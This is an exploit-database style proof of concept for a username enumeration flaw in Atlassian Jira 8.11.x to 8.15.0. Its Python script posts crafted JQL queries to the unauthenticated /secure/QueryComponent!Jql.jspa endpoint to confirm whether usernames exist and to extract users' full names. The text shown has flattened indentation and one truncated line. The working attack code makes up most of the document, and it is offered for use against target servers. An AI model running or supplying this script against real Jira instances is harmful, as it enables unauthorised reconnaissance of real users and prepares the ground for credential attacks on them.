Atlassian Jira 8.15.0 Username Enumeration

# Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration)
# Date: 31/05/2021
# Exploit Author: Mohammed Aloraimi
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira
# Vulnerable versions: version 8.11.x to 8.15.0
# Tested on: Kali Linux
# Proof Of Concept:
'''
A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.
Tested versions:
Atlassian JIRA 8.11.1
Atlassian JIRA 8.13
Atlassian JIRA 8.15
'''
#!/usr/bin/env python
__author__  = "Mohammed Aloraimi (@ixSly)"
import requests
import sys
import re
import urllib3
urllib3.disable_warnings()
def help():
print('python script.py ')
print('e.g. python script.py https://jiratarget.com admin')
sys.exit()
if len(sys.argv)   help()
def pwn(url,username):
try:
headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}
data="jql=creator+in+({})&decorator=none".format(username)
req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data)
if "issue.field.project" in req.text and req.status_code == 200:
print("[+] {} is a Valid User".format(username))
userFullName=re.search('value="user:{}" title="(.+?)"'.format(username),str(req.json()["values"]["creator"]).strip())
if userFullName:
print("[+] User FullName: " + userFullName.group(1))
elif '["jqlTooComplex"]' in req.text and req.status_code == 401:
print("[-] {} is not a Valid User".format(username))
else:
print("[-] Error..")
except Exception as e:
print(str(e))
pass
server = sys.argv[1]
username = sys.argv[2]
pwn(server,username)